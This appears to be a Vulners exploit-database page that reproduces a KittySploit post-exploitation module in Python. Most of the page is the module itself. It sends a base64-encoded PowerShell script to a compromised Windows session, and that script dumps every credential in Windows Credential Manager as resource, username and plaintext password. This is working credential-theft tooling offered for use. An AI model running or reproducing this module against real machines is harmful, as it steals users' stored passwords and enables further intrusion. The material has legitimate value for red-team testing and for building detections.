Lucene search
+L

Windows Gather Password Vault Credentials

🗓️ 26 Jun 2026 08:41:24Reported by KittySploitType 
kittysploit
 kittysploit
🔗 kittysploit.com👁 2 Views

KittySploit module to extract credentials from Windows Credential Manager.

Refs
Code
#!/usr/bin/env python3
# -*- coding: utf-8 -*-

from kittysploit import *
from lib.post.windows.session import win_compat_failure_type, win_probe_powershell
import base64
import re


class Module(Post):
    __info__ = {
        "name": "Windows Gather Password Vault Credentials",
        "description": (
            "Extract credentials stored in the Windows Credential Manager "
            "(Password Vault) on a Windows shell or Meterpreter session."
        ),
        "author": "KittySploit Team",
        "platform": Platform.WINDOWS,
        "session_type": [SessionType.METERPRETER, SessionType.SHELL],
        "references": [
            "https://attack.mitre.org/techniques/T1555/"],
    'agent': {
        'risk': 'intrusive',
        'effects': ['active_exploitation'],
        'expected_requests': 2,
        'reversible': False,
        'approval_required': True,
        'produces': ['risk_signals'],
        'cost': 1.5,
        'noise': 0.5,
        'value': 1.0,
        'requires':         {'min_endpoints': 0,
         'min_params': 0,
         'tech_hints_any': [],
         'tech_hints_all': [],
         'specializations_any': [],
         'risk_signals_any': [],
         'auth_session': False,
         'capabilities_any': [],
         'capabilities_all': [],
         'confidence_min': {},
         'confidence_min_any': {},
         'endpoint_pattern_any': [],
         'param_any': [],
         'api_surface_ready': False},
        'chain':         {'produces_capabilities': [],
         'consumes_capabilities': [],
         'option_bindings': {},
         'suggested_followups': []},
    },
    }

    def _execute_cmd(self, command: str) -> str:
        if not command:
            return ""
        output = self.cmd_execute(command)
        return output.strip() if output else ""

    def _encode_powershell(self, script: str) -> str:
        return base64.b64encode(script.encode("utf-16le")).decode("ascii")

    def _run_powershell(self, script: str) -> str:
        encoded = self._encode_powershell(script)
        return self._execute_cmd(f"powershell -NoP -NonI -EncodedCommand {encoded}")

    def _powershell_script(self) -> str:
        return r"""
function Get-PasswordVault {
    [CmdletBinding()]
    Param()

    try {
        Add-Type -AssemblyName System.Security
        [void][Windows.Security.Credentials.PasswordVault, Windows.Security.Credentials, ContentType = WindowsRuntime]
        $vault = New-Object Windows.Security.Credentials.PasswordVault

        $entries = $vault.RetrieveAll() | ForEach-Object {
            $_.RetrievePassword()
            [PSCustomObject]@{
                Resource = $_.Resource
                UserName = $_.UserName
                Password = $_.Password
            }
        } | Sort-Object Resource

        if (-not $entries) {
            Write-Output "No credentials found in the Windows Password Vault."
            return
        }

        $entries | Format-Table -AutoSize | Out-String
    }
    catch {
        throw "Password Vault extraction failed: $($_.Exception.Message) (PowerShell 5.1 + Windows 8/10/11 required)"
    }
}
$ErrorActionPreference = 'Stop'
Get-PasswordVault
"""

    def check(self):
        if not win_probe_powershell(self._execute_cmd):
            print_error("PowerShell is not available on the target")
            return False
        return True

    def run(self):
        if not self.check():
            raise ProcedureError(win_compat_failure_type(), "PowerShell is not available on the target")

        print_status("Extracting Windows Password Vault credentials...")
        result = self._run_powershell(self._powershell_script())

        if not result:
            raise ProcedureError(FailureType.Unknown, "No output was returned by Get-PasswordVault")

        if re.search(r"Password Vault extraction failed", result, re.I):
            print_error(result)
            raise ProcedureError(win_compat_failure_type(), result)

        if re.search(r"No credentials found", result, re.I):
            print_warning(result)
            return True

        print_success("Password Vault dump completed")
        print_info(result)
        return True

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

02 Aug 2026 20:51Current
5.9Medium risk
Vulners AI Score5.9
2